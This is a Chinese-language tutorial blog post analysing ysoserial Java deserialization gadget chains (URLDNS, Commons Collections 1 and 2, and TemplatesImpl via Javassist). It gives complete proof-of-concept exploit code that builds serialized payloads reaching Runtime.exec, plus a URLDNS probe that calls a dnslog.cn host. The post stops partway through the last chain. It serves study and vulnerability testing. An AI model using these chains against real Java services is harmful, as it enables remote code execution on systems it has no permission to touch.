URLDNS

URLDNS是ysoserial中的一条反序列化利用链,但最终效果不是命令执行而是一次DNS请求,但因为它有如下优点,所以通常用于检测目标是否存在反序列化漏洞

  • 使用Java原生类

  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列列化漏洞

  • 不限jdk版本

进入https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java即可看到ysoserial中URLDNS的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

在正文中也给出了利用链

1
2
3
4
5
*   Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

利用链分析

HashMap#readObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

在最后一行代码看到了将key使用hash函数处理,跟进hash()函数

HashMap#hash

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

跟进hashCode()函数

URL#hashCode

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

handler 是 URLStreamHandler 对象,继续跟进

URLStreamHandler#hashCode

1
2
3
4
5
6
7
8
9
10
protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);

跟进getHostAddress()函数

URLStreamHandler#getHostAddress

1
2
3
4
5
6
7
8
9
10
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;

String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);

这里 InetAddress.getByName(host) 的作用是根据主机名,获取其IP地址,在⽹络上其实就是一次 DNS查询,在一些第三方平台可查询到记录从而证实存在反序列化漏洞

利用链可归结为

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

漏洞利用&EXP分析

我们本地写一个demo

1
2
3
4
5
6
7
8
9
10
11
12
package ghtwf01.demo;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Test {
public static void main(String[] args) throws Exception{
FileInputStream file = new FileInputStream("poc.ser");
ObjectInputStream ser = new ObjectInputStream(file);
ser.readObject();
}
}

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package ghtwf01.demo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class EXP {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap<URL, String> obj = new HashMap<URL, String>();
String url = "http://ktefqx.dnslog.cn";
URL url1 = new URL(url);
Class class1 = Class.forName("java.net.URL");
Field field = class1.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url1,2);
obj.put(url1,"ghtwf01");
field.set(url1,-1);

//序列化
FileOutputStream fo = new FileOutputStream("poc.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}

因为URL类中hashCode属性是私有的,所以要给它赋值需要用setAccessible 修改它的作用域,这里先赋值为2目的是为了防止在生成序列化数据时产生一次DNS请求,因为put方法里面会造成一次DNS请求。

1
2
3
public V put(K var1, V var2) {
return this.putVal(hash(var1), var1, var2, false, true);
}

这里putVal(hash(var1)就是产生DNS请求的原因,传入hashCode为2后再put就避免了这次DNS请求,最后再恢复为-1,生成poc.ser后反序列化就成功进行了一次DNS请求

![1](https://www.ghtwf01.cn/img/ysoserial URLDNS&CommonsCollections1-7分析/1.png)

Commons Collection

Commons Collection 1

环境搭建

创建一个maven的项目一键导包,在pom.xml里面添加如下内容

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

成功导包,一键安装了commons-collections-3.1

![2](https://www.ghtwf01.cn/img/ysoserial URLDNS&CommonsCollections1-7分析/2.png)

ysoserial中的调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这里首先需要认识几个类和接口

Transformer

Transformer是一个接口,它只有一个待实现的方法:

1
2
3
public interface Transformer {
public Object transform(Object input);
}

ConstantTransformer

ConstantTransformer是实现了Transformer接口的一个类,它的过程就是在构造函数的时候传入一个对象,并在transform方法将这个对象再返回:

1
2
3
4
5
6
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn; }
public Object transform(Object input) {
return iConstant;
}

InvokerTransformer

InvokerTransformer是实现了Transformer接口的一个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。

在实例化这个InvokerTransformer时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
super();
iMethodName = methodName; iParamTypes = paramTypes; iArgs = args;
}

实现的transform方法如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接口的一个类,它可以将多个Transformer串联在一起,前一个的结果作为后一个的传入:

1
2
3
4
5
6
7
8
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers; }
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object); }
return object;
}

现在就可以开始构造利用链了,我们可以利用下面代码实现命令执行

1
2
3
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"});
invoketransformer.transform(runtime);

这里需要原来的代码就有Runtime.getRuntime(),反序列化后的对象调用transform时还将Runtime的实例化对象传进去这是不现实的,为了减小利用所需的条件,所以我们还得再改,目标是去掉Runtime.getRuntime(),我们可以将其写入反射里面一起调用,这里就需要ChainedTransformer了,修改后的代码:

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("123");

这下就只需要反序列化后的对象接transform方法即可实现命令执行

现在我们尝试将这个对象序列化

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
FileOutputStream fileOut = new FileOutputStream("ser.txt");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(transformerChain);

会出现如下报错

![3](https://www.ghtwf01.cn/img/ysoserial URLDNS&CommonsCollections1-7分析/3.png)

因为Runtime类没有实现Serializable,所以导致了序列化失败。我们可以使用反射来获取上下文中的Runtime对象,而不需要直接使用这个类

1
2
3
Method method = Runtime.class.getMethod("getRuntime");
Runtime runtime = (Runtime) method.invoke(null);
runtime.exec("open -a Calculator");

转换成Transformer的写法就是如下:

1
2
3
4
5
6
7
8
9
10
11
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
chain.transform(123);

这里就通过使用Runtime.class代替之前的Runtime.getRuntime(),前者是Class对象实现了Serializable,后者是Runtime对象未实现Serializable,所以现在就可以进行序列化和反序列化了

现在只需要反序列化后的对象调用transform方法即可实现RCE,而我们想的是调用readObject的时候就触发RCE,从这里开始有两条利用链

Lazymap利用链

这里看到Lazymap类的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

我们想要的是this.factory可控,看看构造方法

1
2
3
4
5
6
7
8
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}

这里我们可以直接传入factory的值,这样我们的链又延长了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);

现在我们就需要找到一个地方调用了get方法,我们看到AnnotationInvocationHandler类的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();

如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);

这里this.memberValues调用了get方法,如果这个时候this.memberValues的值为我们上面的map那么就实现了RCE,完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class cc1 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象

Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}

}
}

一些小tip:

这里AnnotationInvocationHandler的构造方法传入的第一个参数为什么是Override.class呢,来看看构造方法

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

var1.isAnnotation()的作用是判断是否为注解类,Override就是一个注解类

在LazyMap那儿可以不使用反射来创建对象,它自带一个方法来创建对象

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

所以反射部分代码可以改为如下

1
2
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

Commons Collection 2

环境搭建

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>

利用链分析

利用链1

首先从readObject开始

PriorityQueue#readObject

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
var1.readInt();
this.queue = new Object[this.size];

for(int var2 = 0; var2 < this.size; ++var2) {
this.queue[var2] = var1.readObject();
}

this.heapify();
}

这里的queue[var2]是我们可控的

PriorityQueue#heapify

1
2
3
4
5
6
private void heapify() {
for(int var1 = (this.size >>> 1) - 1; var1 >= 0; --var1) {
this.siftDown(var1, this.queue[var1]);
}

}

PriorityQueue#siftDown

1
2
3
4
5
6
7
8
private void siftDown(int var1, E var2) {
if (this.comparator != null) {
this.siftDownUsingComparator(var1, var2);
} else {
this.siftDownComparable(var1, var2);
}

}

这里的this.comparator也是我们可控的,所以继续跟进

PriorityQueue#siftDown

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private void siftDownUsingComparator(int var1, E var2) {
int var4;
for(int var3 = this.size >>> 1; var1 < var3; var1 = var4) {
var4 = (var1 << 1) + 1;
Object var5 = this.queue[var4];
int var6 = var4 + 1;
if (var6 < this.size && this.comparator.compare(var5, this.queue[var6]) > 0) {
var4 = var6;
var5 = this.queue[var6];
}

if (this.comparator.compare(var2, var5) <= 0) {
break;
}

this.queue[var1] = var5;
}

this.queue[var1] = var2;
}

这里的关键点是this.comparator.compare(var2, var5),因为this.comparator是可控的所以我们可以调用任意类的compare方法,于是我们传入TransformingComparator

TransformingComparator#compare

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

这里的this.transformer也是可控的

1
2
3
4
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

然后就是cc1的后半段利用链了

完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

public class cc2 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open -a Calculator"})});

TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);

try {
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里往queue里面添加了两个值,目的是为了通过如下判断

1
2
3
4
5
6
private void heapify() {
for(int var1 = (this.size >>> 1) - 1; var1 >= 0; --var1) {
this.siftDown(var1, this.queue[var1]);
}

}

只有当this.size>1的时候var1才会大于0从而进入siftDown方法

在设置comparator前add的目的是为了保证能正常传入值进queue

1
2
3
public boolean add(E var1) {
return this.offer(var1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public boolean offer(E var1) {
if (var1 == null) {
throw new NullPointerException();
} else {
++this.modCount;
int var2 = this.size;
if (var2 >= this.queue.length) {
this.grow(var2 + 1);
}

this.size = var2 + 1;
if (var2 == 0) {
this.queue[0] = var1;
} else {
this.siftUp(var2, var1);
}

return true;
}
}
1
2
3
4
5
6
7
8
private void siftUp(int var1, E var2) {
if (this.comparator != null) {
this.siftUpUsingComparator(var1, var2);
} else {
this.siftUpComparable(var1, var2);
}

}

如果在这之前就设置了comparator那么就不为空就无法执行siftUpComparable方法,它的作用是把值传入queue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private void siftUpComparable(int var1, E var2) {
Comparable var3;
int var4;
for(var3 = (Comparable)var2; var1 > 0; var1 = var4) {
var4 = var1 - 1 >>> 1;
Object var5 = this.queue[var4];
if (var3.compareTo(var5) >= 0) {
break;
}

this.queue[var1] = var5;
}

this.queue[var1] = var3;
}

如果没有传入那么就不满足heapify方法里面的var1 >= 0条件了,这条链就走不下去

javassit

Javassist是一个开源的分析、编辑和创建Java字节码的类库,它可以用于对生成的class文件进行修改,或以完全手动的方式,生成一个class文件

使用demo如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import javassist.*;

public class javassit {
public static void createPerson() throws Exception {
ClassPool pool = ClassPool.getDefault();

// 1. 创建一个空类
CtClass cc = pool.makeClass("Person");

// 2. 新增一个字段 private String name;
// 字段名为name
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
// 访问级别是 private
param.setModifiers(Modifier.PRIVATE);
// 初始值是 "xiaoming"
cc.addField(param, CtField.Initializer.constant("xiaoming"));

// 3. 生成 getter、setter 方法
cc.addMethod(CtNewMethod.setter("setName", param));
cc.addMethod(CtNewMethod.getter("getName", param));

// 4. 添加无参的构造函数
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
cons.setBody("{name = \"xiaohong\";}");
cc.addConstructor(cons);

// 5. 添加有参的构造函数
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
// $0=this / $1,$2,$3... 代表方法参数
cons.setBody("{$0.name = $1;}");
cc.addConstructor(cons);

// 6. 创建一个名为printName方法,无参数,无返回值,输出name值
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
ctMethod.setModifiers(Modifier.PUBLIC);
ctMethod.setBody("{System.out.println(name);}");
cc.addMethod(ctMethod);

//这里会将这个创建的类对象编译为.class文件
cc.writeFile("./");
}

public static void main(String[] args) {
try {
createPerson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

生成的Person.class如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Person {
private String name = "xiaoming";

public void setName(String var1) {
this.name = var1;
}

public String getName() {
return this.name;
}

public Person() {
this.name = "xiaohong";
}

public Person(String var1) {
this.name = var1;
}

public void printName() {
System.out.println(this.name);
}
}

利用链2

在ysoserial cc2中并没有使用上面那条利用链,而是使用的TemplatesImpl,这就要用到javassit了

先看一个javassit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

public class javassit {
public static void createPseson() throws Exception {

ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 写入.class 文件
cc.writeFile();
}

public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}

生成的Class文件如下

1
2
3
4
5
6
7
8
public class EvilCat1605945814039622000 {
static {
Runtime.getRuntime().exec("open -a Calculator");
}

public EvilCat1605945814039622000() {
}
}

当创建类实例的时候就会执行static里面的语句

TemplatesImpl#newTransformer

1
2
3
4
5
6
7
8
9
10
11
12
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
if (this._uriResolver != null) {
transformer.setURIResolver(this._uriResolver);
}

if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
transformer.setSecureProcessing(true);
}

return transformer;
}

这里调用了getTransletInstance方法

1
2
3
4
5
6
7
8
9
10
11
12
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}

AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
......

这里需要_name不为null_classnull,然后调用defineTransletClasses方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
throw new TransformerConfigurationException(err.toString());
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader(), TemplatesImpl.this._tfactory.getExternalExtensionsMap());
}
});

ErrorMsg err;
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
if (classCount > 1) {
this._auxClasses = new Hashtable();
}

for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]);
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}

if (this._transletIndex < 0) {
err = new ErrorMsg("NO_MAIN_TRANSLET_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
} catch (ClassFormatError var5) {
err = new ErrorMsg("TRANSLET_CLASS_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
} catch (LinkageError var6) {
err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
throw new TransformerConfigurationException(err.toString());
}
}
}

第21行loader.defineClass(this._bytecodes[i])将bytecodes还原为Class,回到getTransletInstance方法通过_class[_transletIndex].newInstance方法实例化还原的Class,从而触发static里面的语句

也就是下面代码即可实现RCE

1
2
3
4
5
6
7
8
9
